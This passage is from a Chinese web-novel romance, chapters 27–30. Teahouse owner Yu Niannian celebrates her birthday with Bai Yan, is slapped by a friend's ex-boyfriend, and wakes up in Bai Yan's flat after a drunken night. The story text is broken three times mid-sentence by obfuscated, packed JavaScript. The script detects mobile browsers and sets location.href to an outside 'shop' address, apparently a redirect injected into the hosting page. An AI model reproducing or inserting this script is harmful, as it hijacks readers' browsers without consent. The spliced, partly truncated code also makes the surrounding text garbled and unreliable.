一侧,屏幕上播着一部经典喜剧电影,屏幕前的几个年轻人笑成一团。另一侧,小葫芦和老街上的孩子们围观着几个茶馆熟客抓娃娃,隔几秒便爆出阵惋惜的喊叫声。 中间的餐车上,居委会的陈帆兴致盎然地张罗着一些酒水饮料,见老孙凑过去,递给他一杯盛着蓝色液体的透明玻璃杯。 “啥玩意?”老孙接过去,但不敢喝。 “你尝尝!”陈帆冲他挤眉弄眼,完全不同于平日在居委会时的愁苦样子。 老孙两眼一闭,一口喝了半杯,意外地发现味道不错。他张望了一番视野开阔的天台,看到平日里身处其中的老街此时尽收眼底。 陈帆问:“是不是很美?” 老孙笑了笑,冲他举起杯子,喝光了杯子里第一次尝试的蓝色马提尼。 —————— 下午三点,余念念站在茶馆门口,不停往老街的方向张望,脸色有些焦急。 “别急,实在不行,我可以顶上。”不知什么时候,白砚站到她身后,出声道。 余念念回头,看到白砚安抚的眼神,叹了口气:“我还是太自信了......” “你已经做得很好了,今天,大家都很开心。” “可是......”话没说完,余念念眼神一亮,用力捶了下白砚的肩膀,指着远处一点点走近的身影道:“来了!” 街面上,老潘拄着白老送的木拐杖,挎了个大大的军绿色帆布包,往茶馆走着。 余念念迎上去,兴奋道:“潘叔,您终于出场了!我还以为我二楼挂满照片的计划要泡汤了!” 老潘笑了一声:“不好意思,让你等着急了。” 进了茶馆,众人的目光聚集在老潘身上,一时间,整个大堂安静了下来。 片刻后,常主任挥挥手,笑道:“小潘,来啦。” 老潘有些局促地点点头,应了声:“哎!来了!” “好,来了就好,孩子们等着你给他们拍照呢。” 一旁,小葫芦缩在李婶身后,从缝隙里打量老潘,不敢上前。 老潘笑着站在原地,从包里掏出个拍立得,远远地给李婶和小葫芦拍了张照,在空气里用力甩了甩相纸,看见上面显出图像,小心靠近,递给李婶。 李婶接了过去,开心地递给小葫芦:“快看!照得多好看!” 小葫芦盯着照片看了一会儿,兴奋地冲着楼梯大喊:“乐宝!快下来拍照!” 轰隆一阵—— 一群小萝卜头从楼梯上涌下来,围着老潘又蹦又跳:“我也要!我也要!” 余念念笑着对老潘道:“叔,看不出来,您还玩儿这个呢!” 老潘嘿嘿一笑:“既然是复出,当然得做点功课。”说着,他又扭头冲小孩们喊道:“现在先拍小照片,一会儿,乖乖拍大照片,好不好?” “好!!” ...... —————— 夜深,热闹了一天的茶馆终于安静下来。 余念念让小优先走了,又目送着最后几位街坊离开,蹲在茶馆门口,不知道当天第几次看向老街深处。 昏黄的路灯下,这条路平平无奇,但她却怎么也看不够。 看着看着,一道细长的身影出现了,余念念呼吸一滞,慢慢站起身。 白砚走到她面前,低声问:“累了?” 余念念摇摇头,睁大眼睛看着他:“你怎么又回来了?” “我把爷爷先送回去。上天台,我有话对你说。” 27. 烛火 跟在白砚后面默默爬着楼梯,每跨一级台阶,余念念的心跳就更快一分。 迈出三楼楼梯门,她终于忍不住,开始说话。 “常主任晚上说,我的跨年活动策划得很好,说感谢我介绍村长给他认识,还说我可以撑更大的场子......” 白砚沉默着。 走过抓娃娃机,里面所剩不多的毛绒玩具在夜色里默默躺着。 “村长走的时候说,他这次来得很值,常主任说不定真的会考虑对洪家村的旅游投资项目,村长说我是他的贵人......” 白砚不说话。 走到餐车旁,白砚停住,余念念跟着也站住,两只手无意识的开始摆弄餐车上还没来得及收拾的瓶瓶罐罐。 “居委会的陈帆说,他很喜欢在茶馆三楼给别人调酒的感觉,他想以后每天从居委会下班后都来我这儿打工,免费的,我当然不会拒绝喽......” 白砚转过身,看着余念念,黑暗里表情看不太清楚,但声音里带着一丝笑意:“余念念,你紧张什么?” “......谁紧张了!”余念念僵着脖子道,但手上动作乱了方寸,一只玻璃酒瓶翻下餐车,哗啦一声碎在地上。 余念念下意识就要蹲下去,被白砚抓着胳膊拉到旁边:“别碰,明天让陈帆自己收拾。” 余念念:“......” 很好,原来都听进去了,就是不想回答我的废话。 白砚弯下身子,在餐车下摸索了一会儿,拎出一团东西,放在餐车的台面上,又从口袋里掏出什么,“嚓”地一声—— 一团昏黄的小火苗亮了起来,将将可以照亮两个人所处的区域。 白砚掀开那团东西上覆盖的纸盒,一只小小的蛋糕露了出来。他点燃一根蜡烛,插到蛋糕正中间,凑近余念念的脸,轻声说道:“生日快乐。” 余念念定定看着蛋糕,半晌,抬头看白砚的眼睛:“你怎么知道的?啊......肯定是沈童告诉你的,她被老田纠缠,躲到外地了,就拜托你帮我过生日,对么?” 白砚垂下眼睫:“上次逼问完她之后,她可能有阵子都不想和我打交道了。” 说完,他又直视余念念的眼睛:“租房合同上有你身份证号,我记下来了。” 又来了!余念念内心大喊,这个人什么时候变得这么直球了! 如果是别人说这句话,她可能会大吼一声“你变态啊”!但这是白砚——接触这么久,她很清楚,如果不是他真的想知道一件事,他连一秒钟都不会浪费给不相关的人和事。 “哦......谢谢你。” 平淡的语气是强撑的,她的内心大喊“救救我!”天台上就他们俩,谁能告诉她接下来应该怎么办! 哦对!她灵光一闪,可行性调研!一切都可归结为可行性调研! “你,以前给别的女生过过生日么?”余念念反守为攻。 白砚愣住,像是没想到她会这么问,思考了几秒,正要张口,突兀的音乐声从余念念口袋里传出来。 “啊,是我爸!”余念念慌乱地看着白砚。 “接吧。”白砚往天台边缘走了几步,给余念念让开空间。 “生日快乐老姐!” 视频接通后,余玩的脸出现在屏幕上,喊声在天台咋呼开来。 “哎?怎么这么黑?你在哪儿呢老姐!” “嗯?我看看,”屏幕里又挤进余爸的脸,“对啊念念,你在哪儿?怎么这么黑,还在外面么,这么晚了多危险!” 余念念赶紧摆摆手,将摄像头调转,对着蛋糕:“没有没有!有......人在给我过生日,你们看,点着蜡烛呢!” “哦,”余爸松了口气,脸上又堆满笑意,“那好啊!” 说着,余爸扭头,冲屏幕里看不到的某处喊道:“没事没事,在过生日呢。” “姐!是你那个‘男朋友’在给你过生日么?”余玩的声音和脸都贱兮兮的。 余念念只恨自己不能把手伸进手机屏幕里去捂他的嘴,疯狂用凶狠的眼神展示作为姐姐的震慑力,但收效甚微。 “姐,真的有这么一个‘男朋友’存在么?我跟爸妈说你肯定是骗人的,你这么凶,从小到大接到情书就跟摸到粑粑一样嫌弃,这样的人怎么会突然交上男朋友呢哈哈哈哈哈!你不知道,爸有时候也在家犯愁,说你的感情路可能只剩下相亲这条道了哈哈哈哈哈哈哈!” 余爸一只手重重在余玩脑袋后面拍了一下,有些歉疚地对着屏幕说道:“念念,别听余玩瞎说,不管有没有男朋友,过年早点回家,一家人没有说不开的——” “叔叔,我过年会陪念念回家的。”白砚的脸突然出现在余念念身后,声音温和而不容置疑。 ...... 沉默。 沉默是此时的天台,沉默也是此时的手机两端。 两张脸像卡住了一样僵在手机屏幕上,接着,画面极速变换,一秒后,一张雄狮般威严的女人脸出现在屏幕上。 余妈锐利的眼神从手机屏幕上射出,吓得余念念一动不敢动。 白砚从后面伸出胳膊,从余念念手中接管了手机,让自己的脸挡在余念念的半张脸前面,带着微笑道:“阿姨,我叫白砚,上次在茶馆见过的,当时没机会自我介绍,过年时我和念念回去正式拜访叔叔和您。” 又是一阵沉默,接着,余妈硬梆梆的声音传来:“好。” 又是一阵画面切换——可能是余妈将手机塞回余爸手里——两张男人脸出现,表情仍然是没遮掩的震惊,震惊中带了一丝不知所措。 “说话!”余妈的画外音凌厉地传来。 “哦,那个——”余玩动了,迟疑地缓缓道,“姐夫好,姐夫过年......见?” 一团什么东西砸中余玩的脑袋,让他整张脸贴在了屏幕上,接着,余爸的脸又出现了,这个老余家情绪最稳定的男人镇定道:“小白是吧?你好你好,过年见,过年见!” 说着,他似乎忘了余念念的存在一样,毫无预兆地挂了电话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173063|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >...... 白砚转回身,面对着余念念——后者的大脑显然已经宕机。 “我不喜欢他们那么说你。”白砚的声音低沉道,“而且,角色扮演这件事不是本来就说好的么?你反悔了?” 对着白砚探寻的眼神,余念念石化的脸出现一丝松动,下意识否认:“没......没啊,但是——” 白砚被她逗笑,笑意从眼睛里冒出来,他将余念念推到餐车旁,温声道:“时间到了,现在,先许愿吧。” 余念念乖乖双手互握,对着蜡烛闭上眼睛,在心底默念:祝我的茶馆蒸蒸日上。 念完,又乖乖吹灭蜡烛,见白砚将蛋糕一切两半,递了一半到她眼睛下边,她问:“你不问我许了什么愿?” 白砚脸上依然带着刚刚浅浅的笑意,声音听上去有些过于温柔:“很好猜,肯定是希望你的茶馆越来越好。” —————— 第二天下午,茶馆柜台后面,余念念皱着眉,边摇头,边絮叨:“太可怕了。” 小优端着盘子回来,打量她几秒,叹了口气道:“老板,你今天说了一千遍了,到底什么可怕?” 余念念正要开口,有些尴尬地顿住,沉吟片刻:“如果,我是说如果,有个人,精准拿捏你的心思,你该怎么办?” 小优眼珠子一转:“那你还不赶紧跑?” 余念念表情一僵,迟疑道:“没有,别的选项么?” 小优撇了她一眼:“那你就是心甘情愿喽,一个愿打,一个愿挨!” 余念念:“......再次声明,不是我,是我一个朋友。” 小优眼里冒出促狭的光,懒得揭穿她:“哦,等小白哥来了,我帮你也采访采访他。” 余念念双目圆睁,低喝道:“你敢!” 这时,一道人影气势汹汹推开茶馆的门,门框被推得超越了极限,发出沉闷的挤压声,又重重撞回门框上。 “余念念,你凭什么搅合我和沈童的事!”冲进来的男人一只指头指着余念念的脑袋凶狠道。 余念念皱着眉头站起身:“田桓你干嘛,别在这里大吼大叫。” 小优冲着男人伸出手:“先生,要不你冷静下,喝杯茶慢慢说。” 田桓一把挥开小优的手,冲着柜台后面叫嚷:“我和沈童这么多年的感情你余念念看在眼里,你不祝福我们,反而落进下石,你他妈就这么见不得我好么!” 余念念见小优的胳膊被田桓挥到,已经十分火大,又听到他嘴里冒出来的指控,瞬时火冒三丈,她跨出柜台,直直走到田桓面前,一字一句道:“面对见异思迁的渣男,我就是见不得你好。” “你!”田桓眼睛血红,情绪瞬时不受控制,扬起手冲着余念念就是一挥。 啪—— 余念念反应极快地扭过头,但还是被田桓的手掌扫倒,一记响亮的耳光响起在茶馆里。 小优倒抽一口冷气,赶紧掏出手机,给白砚发消息: 【小白哥快来!念念姐被人打啦!】 28. 夜宿 砰地一声。 茶馆门被重重推开,白砚冲了进来,胸膛剧烈起伏着,笨重的相机斜挎在腰上,相机带子在脖子上勒出道红痕。 他环顾一圈,没看到余念念,冲在茶馆最里面一桌送茶的小优喊道:“小优,她人呢?” 小优匆匆走了过来:“小白哥你来啦!不过,你来晚了,老板她——” 白砚脸色一白:“被带走了?” 小优摆摆手:“——去喝酒了。” 白砚皱起眉:“喝酒?她不是被打了么?” “她被一个疯子扇了个耳光,然后......反手从柜台上拎起根鸡毛掸子,带着几个大爷一起,把那人暴打了一顿。”小优回想起田桓脸上带红、抱头鼠窜的样子,大摇其头,“他不该招惹念念姐的。” 一旁桌上,捧着本棋谱的魏大爷插话:“打他一顿算轻的!要我说应该报警!” 另一个街坊接道:“就是啊!扇女人耳光欸!打在脸上欸!小余走的时候脸都肿起来了!” 白砚呼吸滞了片刻,又深吸一口气,问:“那喝酒是怎么回事?” 小优道:“刚把疯子揍出去没多久,老板就接到沈童姐的电话,喊她出去喝酒,她就去了。” 白砚点点头,眉眼间看不出情绪,转身,相机带子缠在了椅子背上,他伸手一扯,整张椅子应声倒地,重重的碰撞声响彻整间茶馆,他立住,回身,像是自己都没意识到自己用了这么大力气,说了句“抱歉”,将椅子扶起来,转身出了门。 小优从震惊中回神,扭过头瞪着魏大爷:“小白哥他......” 魏大爷十分了然地点评:“这是爱情的力量。” 小优赞同地点头,点了两下,觉得不对,停住:“魏大爷,我记得您是,母胎单身?” 魏大爷:“母......母什么?” —————— 夜色下,酒吧街的灯光旖旎暧昧。 一家位于街道深处的民谣酒吧里,飘荡着沧桑老男人的嗓音,台下,大多数客人一边喝着杯中的酒,一边随着旋律轻轻摇晃身体——某张桌上的两个女人例外。 自从余念念赶到后,她和沈童的情绪起伏堪比过山车。 开始,是愤怒期。两个人骂得一个比一个脏,“田桓”这个名字就是全宇宙最恶心最肮脏的代名词。 接着,是醒悟期。沈童慷慨陈词,万分庆幸自己及时认清渣男真面目,余念念在一旁鼓掌并报以赞许的目光。 然后,是反水期。三杯酒下肚,沈童仿佛被夺舍,完全忘记刚刚自己的言论,开始细数这份恋情中所有值得留恋的细节,边说边泪如雨下。余念念短暂质疑,很快被沈童的情绪——或许还有酒精——带动,眼中泛起热泪。 最后,是忘情期。之前聊的什么都不重要了,两个女人完全忘了为什么而哭,只记得自己吃够了感情的苦——要么是被渣男伤透的苦,要么是作为感情小白失措无助苦,总之就是苦——开始抱头痛哭。 白砚赶到时,看到的就是这一幕。 一晚上,他挎着笨重的相机,走遍了这条酒吧街的每一家店,终于,在最深处的这家酒吧的最里面的座位上,看到了这两个疯女人,深深地松了口气。 这口气松了大概半秒,他眼神一暗,伸手轻轻捏住余念念的下巴,掰向一侧。 五个鲜红的指印全部露了出来,这半张脸肿胀着,还挂着几道可怜兮兮的泪痕。 白砚叹了口气,用拇指将最新滑下的一滴眼泪抹掉,问:“还疼么?” 余念念闭着眼沉浸在悲伤的情绪里,沈童倒是睁了只眼睛,不耐烦地将挡在她和余念念脑袋之间的异物推开,将余念念的脸紧紧挤压到自己的脸上,也开始沉浸式哭泣。 白砚直起身,思索了两分钟,转身,找了个音乐声没那么强的角落,掏出手机,拨了个电话。 电话很快被接起,没有寒暄,白砚冲话筒道:“张叔,抱歉打扰,可以帮我个忙么?” —————— 第二天一早,余念念被一阵针扎样的头痛刺醒。 恍惚着睁开眼,一片雪白的天花板和墙面映入眼帘——没有李婶家房间略带土气的浅绿色壁纸。 她撑着胳膊坐起身,一间除了床以外一无所有的房间展现在眼前,缓缓挪动酸痛的脖子,身旁,沈童沉睡的脸和横七竖八的身体进入视线。 她怎么会和沈童一起睡在这间完全陌生的房间? 闭上眼,余念念深呼吸一口,开始极力回忆,“叮——”地一声,体质特殊的酒后脑内高清画面回放功能开启,她一口气憋在胸口,猛地倒抽回去,眼睛大睁,瞪向面前的空气。 不不不! 她闭眼,又试了一次,画面进度条比刚刚走得更久,又被她猛地掐断。 不可能!不可以!!不要啊!!! 余念念疯狂摇动沈童,就差直接上手给她一巴掌,终于将这个昏睡中的女人摇醒。 “干——嘛——”沈童拖着宿醉的嗓子喊道,眼睛微微睁开又闭上。 余念念终于还是不轻不重地拍了她一巴掌,沈童应声睁大眼睛,四下张望一番,问:“这是旅馆?” “要是旅馆就好了!”余念念声音里满是惊慌,拉着她起身,“快起床!” 沈童被动地坐起身,低头一看,惊讶道:“衣服怎么没脱?”扭头一看,“你也没脱?咱俩怎么没脱衣服就睡啦?” 余念念:“脱了就彻底完了!” “啥意思?昨晚发生啥了?” 余念念动作一滞,装作没听到,轻手轻脚下了床,走到门边,将耳朵贴在门上。 “你干嘛?”沈童不明所以。 余念念将门拉开条细缝,从缝里往外张望,接着,缓缓将门拉开,外面没有一点动静,她松了口气,回身,见沈童还愣在床上,急道:“快下来!” “我们昨晚是喝多了不小心做贼了么?”沈童不由自主也放轻音量,蹑手蹑脚跟着余念念走出去。 外面,是一间空旷的客厅。 除了一张桌子、两把椅子,和灰色窗帘能看出软装的痕迹,其他地方完全找不到人类生活痕迹。 “这,这家也没啥可偷的啊..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183109|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .”沈童小声嘀咕,好奇地四处打量,甚至往里走了走,想再看看厨房。 余念念一把拉住她,往大门的方向拖:“快走!” 离大门还有两步远的距离时,电话铃声骤然响起,在空旷的客厅里像开了扩音效果,来回激荡。 余念念吓得一个激灵,浑身僵硬着,目视前方,一动不动。 沈童张望了一阵,指了指大门边上挂着的固定电话:“接么?” “接你个头!”余念念情绪暴躁。 铃声响了一阵子,歇住,接着,答录机启动,一道略显浑浊的男人声音响起。 “白砚啊,是我,不在家么?那个,我听司机老张说,你昨晚回市中心的房子住了?那个,你别误会啊,爸爸没有打探你隐私的意思,只是,你很少找老张帮忙,爸爸担心你啊。那个,我听说,昨晚还带了姑娘回家?哦你千万别误会,我真的没有想要插手你私生活的意思,不过——听说你带了两个?这个,爸爸以前确实担心你感情方面空缺,但是,也不要一下子搞得太猛了,哈,哈哈,爸爸只是建议,建议哈,毕竟,身体重要......嗯,那先这样,有空给我回个电话,爸爸很想你。” 电话彻底没了声音。 余念念站着没动,脸上一片死寂。 半晌,沈童:“......我是那两个里面的一个?” 余念念一把捂住沈童的嘴,将她拖出门去,疯狂拍打电梯向下的按钮,嘴里低喊:“快来快来!” 终于,沈童像是酒醒了,后知后觉地又一次发问:“余念念,昨晚,你和白砚发生什么了?” 余念念“啊”地一声大喊,两手捂住耳朵,丢下沈童和没等来的电梯,扭头一把推开楼梯间的门,登登登地冲下了楼。 ...... 半小时后,出租车停在老街街口,余念念有气无力地钻了出来。 正要往茶馆门口走,视线看到落地玻璃窗后,小优和下棋大爷们的身影,她动作一顿,接着,退了几步,贴着另一边的墙根往老街里面走。 走了几百米,终于到了李婶家楼下,她微微松了口气,迈进楼道。 “小余,回来啦!”李婶的声音从楼梯上方传下来。 余念念慌张地打招呼:“李婶……早啊……” 心里默念:别问那个问题,别问那个问题! 然而—— “昨晚干什么去啦?怎么一晚上都没回来?” 余念念欲哭无泪,一步一步往上挪动,边挪边从嘴边挤出句话:“昨晚……我和沈童……喝酒去了,她失恋了,我……陪陪她……” 挪到某一级台阶,李婶眼尖地瞄到她脸上的红肿,忙凑近了,盯着她道:“哟,这脸怎么弄的,怎么肿成这样?疼不疼啊?” 叮—— 脑中某个画面被点亮,白砚近在咫尺的脸问着同样的问题:“疼不疼?” “啊!”余念念猛地摇头,三步跨作一步,冲上了二楼。 砰地一声,巨大的关门声响彻整栋楼。 楼道里,李婶皱着眉:“这孩子,受啥刺激了……” 29. 回忆 下午,茶馆二楼。 余念念跨坐在工具楼梯上,对着一整面空白的墙思索着,墙下摆了长长一溜照片。 “中间的位置留给我。” 白砚的声音在身后响起,吓得余念念浑身一抖,差点从楼梯上歪下来,被白砚一把扶住胳膊扶稳了。 余念念像触电一样收回胳膊,与白砚对视一眼,又飞快收回眼神,看着墙面。 “你怎么知道我在二楼挂照片?” “我上午就来了,小优说你去老潘那儿选照片了。” “哦......中间的位置,留给你干嘛?” 白砚从身后举起什么,余念念这才看见他带来了一副装裱好的照片——是他给她拍的那张天台背影照。 “要把这张挂在正中间么?”余念念问,“会不会有点,太自恋啦?” “不会,”白砚笃定道,“这是一切的开始,没有它,就没有后来的茶馆,也没有其他那些照片。” 余念念一听,是这么个道理,但......人家常主任二楼的照片墙上,可没把自己的单人照放得这么大挂在正中间...... 还在迟疑着,白砚已经将她拉下楼梯,接过她手中的小锤子,自己选好位置哐哐哐地敲上了。 余念念望着他认真的背影,没再说什么。 “昨晚......”白砚缓缓开口。 余念念一下子绷紧了身体:“昨晚我喝多了,什么都不记得了!” ——亘古至今世界通用酒后免责话术。 白砚沉默下来,过了一会儿,又开口:“今早......” “今早我着急赶回茶馆,就没等你了,你别在意!” 白砚放下工具,转回身,走到余念念面前,直视着她的眼睛,问:“今早你是不是听到我爸的录音了?” “啊......呃......我没细听......” “对不起,我替他跟你道歉。我和他不怎么来往,我也不知道老张会这么八卦。” “没什么,那种情况下,正常人都会误会的,昨晚,谢谢你去酒吧找我和沈童,否则,不知道我俩会流落到哪里去......” 白砚半弯下腰,凑近余念念的脸,仔细看向她眼睛深处,眼神里带着一丝不甘:“余念念,昨晚的事,你真的一点也不记得了?” 叮—— 叮叮—— 叮叮叮叮叮叮叮—— 一阵警铃大作,无数被压下去的画面在余念念脑子里疯狂亮起来,她浑身僵硬地点点头:“不记得了。” 白砚最后又深深看了她一眼,转回身去,又拿起小锤子哐哐哐一阵敲。 余念念确定自己听出来,这次的敲打声中,带着一丝怨气。 不怪他有怨气,昨晚实在是...... —————— 时间退回到前一天晚上。 晚上十一点,一辆黑色的奔驰轿车停在民谣酒吧门口,驾驶室下来一个头发有些稀疏,但眼神精明透亮的中年男人,直奔着等在酒吧门口的白砚而去,嘴里喊着:“小白少爷!” 白砚微微皱眉:“张叔,叫我白砚就好。” “哦,对对对!”被叫张叔的男人连连点头,“我忘了,您不喜欢叫小白少爷,那叫您,小白先生,小白先生有什么需要,尽管吩咐!” 白砚从小就称呼的问题跟他纠正过多次,但这人就是不愿意直呼他的名字,且自己从电视剧里学了些奇奇怪怪的称谓,拿出来现学现用。 眼下白砚也不跟他多纠结,说道:“张叔,我有两个朋友喝多了,现在太晚了,我不想吵醒爷爷,你帮忙把我们送到常欢路的家里去吧。” 张叔忙点头:“没问题!您的朋友在哪?我去把她们扶到车上。” “不用,你在驾驶座等我一下,我把她们背出来。” 接着,白砚将余念念和沈童背到车后座,系好安全带,自己上了副驾驶,车子一路开到了常欢路一栋高档公寓楼下。 车停下后,一楼的公寓保安迎上来将车门打开,见后座坐了两个熟睡的姑娘,有些迟疑,问前排走下的白砚:“先生,需要将这两位小姐扶下来么?” 张叔也下了车,冲保安摆摆手:“不用不用,我来我来。” 白砚冲他俩都摆摆手:“我自己来。” 另外两人识趣地退开。 白砚家位于公寓36楼,他先将沈童背上楼,放到客房的床上,顺手开了房子里的窗户通风,又下来,要去背余念念,临出车门时,动作又顿住,将她轻轻放回椅背上,转身,将人打横抱了起来。 余念念哼唧一声,微微睁开眼睛,看到白砚的脸时,抽了抽鼻子,整张脸像是受了极大委屈似的皱巴起来。 一旁,张叔和保安听到声音,齐刷刷地扭过头来。白砚转了个身,将余念念的脸挡在自己怀里,低头看她,但下一秒,她又闭上眼睛睡了过去。 “张叔,今晚麻烦了,你先回家吧。”他冲身后微微点头说道,接着,便抱着人进了公寓大堂。 进了屋子,白砚犹豫了几秒要不要将余念念抱进另一个房间,但想了想,为免两人第二天早上单独醒来茫然无措,还是将她也抱进了客房。 好在,客房的床也足够宽大,沈童老老实实地蜷在其中一侧,跟抱她上来时保持着同样的姿势。 白砚小心翼翼将余念念放到床上,一手从膝窝里抽出来,扶着她的脑袋,要将另一只手从她脖子下方抽出。 意外就是这时候发生的—— 余念念突然睁开眼,像只灵活的猫,一个翻身,手脚并用,上了白砚的背,嘴里大喝一声:“别跑!” 白砚默默扛住突如其来的重压,单手撑床,保持着半弯的姿势不敢动,沈童被喝得浑身一颤,但眼睛没睁开——睡眠状态十分稳定。 “我不服!”余念念又是一声大喊。 白砚双手托住她的身体,微微站直,转身出了房间,顺便帮沈童把房门带上。 刚松开门把手,余念念又喊:“我好苦!” 白砚好笑地问:“你为什么不服,哪里苦?” 余念念原本僵直的上半身卸下力来,伏到白砚肩膀上,脸埋到白砚颈窝里,声线变得嘟嘟囔囔委委屈屈:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197280|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从小到大,没遇到过这么难的题......” 白砚的脖子感受到若有若无的柔软,呼吸一下子变得急促。 “这道题太难了......我不会啊!”余念念还在冲着他的脖子低喊,边喊,边长吁短叹地呼气,气息直直打到白砚的耳朵下、脖子边。 白砚喉头滚动,僵着上半身,青筋一点一点爆出,白色的皮肤变得粉红。 “余念念......别说话了......” 余念念用力摇头,丝丝缕缕的头发从白砚的脖颈擦过,有的顺着领口伸进衣服里,贴着锁骨摩擦。 “唔......”白砚发出声闷哼,整个肩背微微耸起,“别动......别动......” “我就要动——”余念念犟道,犟了一半,天旋地转,被白砚顺着腰侧一把薅到身前抱住。 余念念睁眼,直直看了白砚片刻,将头一偏,靠在白砚胸前,哭唧唧道:“我就说了,太不公平了......这道题太不公平了......” 白砚调整着呼吸,问:“你说清楚,哪里不公平?” “我......是小白,你......有白月光,哪里公平了......” 白砚柔声道:“跟你说了,那不是白月光,我明明要跟你说清楚,你却拦着我,要慢慢来。” “我......是小白,小白只能......慢慢来,赵主任说了......要可......可......” “可行性调研。”白砚接道,长长叹了口气,觉得该喊苦的明明是自己。 听到“可行性调研”这几个字,余念念从他胸前抬起头,睁开眼睛,探询地问:“进行到哪一步了?” 白砚:“......进行的很顺利,我知道你心里的苦了。” 过了一会儿,白砚又看着她的脸,说道:“余念念,看来我也有必要对你进行一下调研。你属猴么?怎么这么爱爬别人背上?” 余念念喝醉的脑瓜子显得格外好使,很快关联上次在白砚背上时发生的事,顺着白砚绯红的脖子往下看,勾起眼角和嘴角,道:“以后,你犯错了,我就把你绑起来,一直......对着你的脖子吹气,吹到......你求饶为止......” 白砚喉头不受控制地滚动了下,呼吸停滞,声音沙哑:“......你怎么这么狠。” —————— 虎狼之词,余念念扶着额头,我说的什么虎狼之词...... 酒真的不能喝了,太误事了,平时好不容易树立起来的“余老板”的光辉形象荡然无存,她昨晚的表现像个登徒子、变态狂! 白砚将背影照挂好,转回身,看到余念念紧皱眉头,一手扶额的样子,问:“怎么,头疼?” “啊,没,我在努力回忆,但是,确实记不得了,一点也记不得了。”余念念极为认真地看着他的眼睛道。 白砚被她认真的样子逗笑:“记不得就记不得了吧,我记得就行。” 余念念:“......” “晚上来书斋,爷爷要教你写对联。” 30. 回家 夜晚的颜喜书画斋一片岁月静好,宁静祥和。 余念念走到门口就忍不住嘴角带笑,跨进去,熟门熟路地走到位于深处的一张大书桌边,亲昵地叫了声:“白爷爷!” 书桌另一头,带着老花镜的白老抬起头,脸上一下子挂满笑意:“小余,来啦!” “来了!”余念念坐在看上去给她留的座位上,面前的桌上已经摆好一套笔墨纸砚,“白爷爷,怎么突然想要教我写对联啦?” 白老云淡风轻地道:“这不是,你要带白砚回家过年了嘛,我想着得准备点什么。” 余念念一下子坐得笔直。 什么岁月静好,什么宁静祥和,这怕不是鸿门宴吧! “白爷爷,您......知道啦?” 白老笑着点头:“知道啦。” “我和白砚......那都是闹着玩儿的,这年头哪还有正经人玩角色扮演呐......” 这时,白砚正好从后面屋里走出来,听到余念念的话,轻轻哼了一声:“所以你是阳奉阴违喽?表面不拒绝,内心想自己偷溜回家?” 余念念:“......这倒不能这么说......” 转头,看向白老,眼神诚恳,“只是,我想着你肯定是要留在崇安陪白爷爷过年的,怎么会陪我这个外人回家过年,所以,我也没太当真......” 白砚凑到她面前,直视她的眼睛:“余念念,跟你说过多少次了,改改主观臆断的臭毛病。” 余念念仔细看他的眼神,有一秒钟似乎真的看到一丝怒意——他该不会真的觉得自己被无声抛弃了吧...... “我不是我没有!你听我解释!我这个人,向来善于从别人角度思考问题,我以为你那天在天台那么说只是为了避免我太过难堪,事后,你可能仔细想想,想到要独自一人过年的白爷爷,又觉得自己不孝,但是又不好意思向我开口反悔。那如果是这样的话,我是不是应该自己识趣点,主动拒绝一下你?” 白砚听完,脸色有所缓和,但仍点评:“你的内心戏有点过于多了。” 白老笑呵呵看着他们拌嘴,这时道:“小余,你确实想多了,我每年过年啊,都是跟几个老家伙出去旅游,今年已经约好老常,要去那个洪家村玩。” 余念念惊讶道:“去村长那儿过年?” “嗯,这个村长呐,真是热情好客,老常呢,反正也一个人,去哪儿过都是过,他就拉上我一起,去洪家村玩一趟,就当是提前为明年的合作做一下考察喽。” 余念念眼睛一亮:“明年真的会有合作?” “哈哈,照洪家村村长的积极程度,没可能也给你变出可能!” 余念念点点头,对于这一点,她倒是十分认同:“太好了,听您这么一说,我都想跟着去洪家村过年了!” 白老摆摆手:“我们几个老家伙游山玩水,你们小年轻跟着干什么!往年过年出去玩白砚跟着我都嫌烦,今年好不容易有机会摆脱了,你做做好事,赶紧把他带走吧!” 余念念瞄了一眼一旁默不作声的白砚,对白老的话将信将疑——按照她往年过年期间的经验,白砚这样的貌美天仙男,到哪里都不会招人烦的,只会被一群大爷大妈围着问东问西、介绍女朋友。 她又瞄了一眼白砚的脸色,觉得此时要是再拒绝的话,就会失去他这个朋友——可能还是朋友吧,虽然对此有点心虚——了,于是,赶紧点头:“太好了!那我就松口气了,我终于不是当阳奉阴违的小人了!” 接下来,她认认真真跟着白老,学着写了一副大大的对联,写完,颇满意地自我欣赏了片刻。 白老仔细看了几眼她的对联,转身,从一旁的书架上取出一袋早就准备好的对联、福字等,递给她,十分委婉地道:“你写的很好,我这副给你备着,到时候,想贴哪副贴哪副。” 